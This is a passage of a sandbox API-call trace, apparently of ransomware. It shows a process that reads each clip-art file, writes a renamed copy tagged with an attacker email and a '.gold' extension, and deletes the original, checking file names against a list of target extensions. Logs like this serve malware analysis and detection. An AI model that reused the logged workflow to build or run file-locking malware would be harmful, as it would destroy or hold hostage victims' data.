Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf")) returned 0x20 [0113.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0113.142] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.142] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0113.143] GetLastError () returned 0x0 [0113.143] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x8b8e, lpOverlapped=0x0) returned 1 [0113.145] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x8b90, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x8b90, lpOverlapped=0x0) returned 1 [0113.147] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.147] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.147] SetEndOfFile (hFile=0x3b8) returned 1 [0113.147] CloseHandle (hObject=0x3b8) returned 1 [0113.147] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.147] SetEndOfFile (hFile=0x3b4) returned 1 [0113.149] CloseHandle (hObject=0x3b4) returned 1 [0113.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.149] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf")) returned 1 [0113.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0113.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0113.152] lstrlenW (lpString=".doc") returned 4 [0113.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.152] lstrlenW (lpString=".docx") returned 5 [0113.152] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0113.152] lstrlenW (lpString=".pdf") returned 4 [0113.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.152] lstrlenW (lpString=".xls") returned 4 [0113.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.152] lstrlenW (lpString=".xlsx") returned 5 [0113.152] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0113.152] lstrlenW (lpString=".ppt") returned 4 [0113.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0113.152] lstrlenW (lpString=".zip") returned 4 [0113.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.152] lstrlenW (lpString=".rar") returned 4 [0113.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.152] lstrlenW (lpString=".bz2") returned 4 [0113.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.152] lstrlenW (lpString=".7z") returned 3 [0113.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0113.152] lstrlenW (lpString=".dbf") returned 4 [0113.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0113.152] lstrlenW (lpString=".1cd") returned 4 [0113.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0113.153] lstrlenW (lpString=".jpg") returned 4 [0113.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0113.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0113.153] lstrlenW (lpString=".doc") returned 4 [0113.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.153] lstrlenW (lpString=".docx") returned 5 [0113.153] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0113.153] lstrlenW (lpString=".pdf") returned 4 [0113.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.153] lstrlenW (lpString=".xls") returned 4 [0113.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.153] lstrlenW (lpString=".xlsx") returned 5 [0113.153] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0113.153] lstrlenW (lpString=".ppt") returned 4 [0113.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0113.153] lstrlenW (lpString=".zip") returned 4 [0113.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.153] lstrlenW (lpString=".rar") returned 4 [0113.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.153] lstrlenW (lpString=".bz2") returned 4 [0113.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.153] lstrlenW (lpString=".7z") returned 3 [0113.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0113.153] lstrlenW (lpString=".dbf") returned 4 [0113.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0113.153] lstrlenW (lpString=".1cd") returned 4 [0113.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0113.153] lstrlenW (lpString=".jpg") returned 4 [0113.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.153] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.153] lstrlenW (lpString="J0185828.WMF") returned 12 [0113.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0113.154] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=7796) returned 1 [0113.154] CloseHandle (hObject=0x3b4) returned 1 [0113.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf")) returned 0x20 [0113.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0113.155] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.155] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0113.156] GetLastError () returned 0x0 [0113.156] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1e74, lpOverlapped=0x0) returned 1 [0113.157] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0113.158] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.158] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.158] SetEndOfFile (hFile=0x3b8) returned 1 [0113.158] CloseHandle (hObject=0x3b8) returned 1 [0113.158] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.158] SetEndOfFile (hFile=0x3b4) returned 1 [0113.160] CloseHandle (hObject=0x3b4) returned 1 [0113.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf")) returned 1 [0113.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0113.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0113.162] lstrlenW (lpString=".doc") returned 4 [0113.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.162] lstrlenW (lpString=".docx") returned 5 [0113.162] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0113.162] lstrlenW (lpString=".pdf") returned 4 [0113.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.162] lstrlenW (lpString=".xls") returned 4 [0113.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.162] lstrlenW (lpString=".xlsx") returned 5 [0113.162] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0113.162] lstrlenW (lpString=".ppt") returned 4 [0113.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0113.162] lstrlenW (lpString=".zip") returned 4 [0113.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.162] lstrlenW (lpString=".rar") returned 4 [0113.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.162] lstrlenW (lpString=".bz2") returned 4 [0113.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.162] lstrlenW (lpString=".7z") returned 3 [0113.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0113.162] lstrlenW (lpString=".dbf") returned 4 [0113.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0113.162] lstrlenW (lpString=".1cd") returned 4 [0113.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0113.162] lstrlenW (lpString=".jpg") returned 4 [0113.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0113.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0113.162] lstrlenW (lpString=".doc") returned 4 [0113.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.163] lstrlenW (lpString=".docx") returned 5 [0113.163] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0113.163] lstrlenW (lpString=".pdf") returned 4 [0113.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.163] lstrlenW (lpString=".xls") returned 4 [0113.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.163] lstrlenW (lpString=".xlsx") returned 5 [0113.163] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0113.163] lstrlenW (lpString=".ppt") returned 4 [0113.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0113.163] lstrlenW (lpString=".zip") returned 4 [0113.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.163] lstrlenW (lpString=".rar") returned 4 [0113.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.163] lstrlenW (lpString=".bz2") returned 4 [0113.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.163] lstrlenW (lpString=".7z") returned 3 [0113.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0113.163] lstrlenW (lpString=".dbf") returned 4 [0113.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0113.163] lstrlenW (lpString=".1cd") returned 4 [0113.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0113.163] lstrlenW (lpString=".jpg") returned 4 [0113.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.163] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.163] lstrlenW (lpString="J0185834.WMF") returned 12 [0113.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0113.165] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=8578) returned 1 [0113.165] CloseHandle (hObject=0x3b4) returned 1 [0113.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf")) returned 0x20 [0113.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0113.166] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.166] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0113.271] GetLastError () returned 0x0 [0113.271] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2182, lpOverlapped=0x0) returned 1 [0113.272] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2190, lpOverlapped=0x0) returned 1 [0113.273] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.273] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.273] SetEndOfFile (hFile=0x3b8) returned 1 [0113.273] CloseHandle (hObject=0x3b8) returned 1 [0113.273] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.273] SetEndOfFile (hFile=0x3b4) returned 1 [0113.276] CloseHandle (hObject=0x3b4) returned 1 [0113.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf")) returned 1 [0113.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0113.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0113.306] lstrlenW (lpString=".doc") returned 4 [0113.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.306] lstrlenW (lpString=".docx") returned 5 [0113.306] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0113.306] lstrlenW (lpString=".pdf") returned 4 [0113.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.306] lstrlenW (lpString=".xls") returned 4 [0113.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.306] lstrlenW (lpString=".xlsx") returned 5 [0113.306] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0113.306] lstrlenW (lpString=".ppt") returned 4 [0113.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0113.306] lstrlenW (lpString=".zip") returned 4 [0113.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.306] lstrlenW (lpString=".rar") returned 4 [0113.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.306] lstrlenW (lpString=".bz2") returned 4 [0113.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.306] lstrlenW (lpString=".7z") returned 3 [0113.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0113.306] lstrlenW (lpString=".dbf") returned 4 [0113.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0113.306] lstrlenW (lpString=".1cd") returned 4 [0113.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0113.306] lstrlenW (lpString=".jpg") returned 4 [0113.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0113.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0113.306] lstrlenW (lpString=".doc") returned 4 [0113.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.306] lstrlenW (lpString=".docx") returned 5 [0113.306] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0113.306] lstrlenW (lpString=".pdf") returned 4 [0113.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.306] lstrlenW (lpString=".xls") returned 4 [0113.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.307] lstrlenW (lpString=".xlsx") returned 5 [0113.307] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0113.307] lstrlenW (lpString=".ppt") returned 4 [0113.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0113.307] lstrlenW (lpString=".zip") returned 4 [0113.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.307] lstrlenW (lpString=".rar") returned 4 [0113.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.307] lstrlenW (lpString=".bz2") returned 4 [0113.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.307] lstrlenW (lpString=".7z") returned 3 [0113.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0113.307] lstrlenW (lpString=".dbf") returned 4 [0113.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0113.307] lstrlenW (lpString=".1cd") returned 4 [0113.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0113.307] lstrlenW (lpString=".jpg") returned 4 [0113.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.307] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.307] lstrlenW (lpString="J0186360.WMF") returned 12 [0113.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0113.308] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=33850) returned 1 [0113.308] CloseHandle (hObject=0x394) returned 1 [0113.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf")) returned 0x20 [0113.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 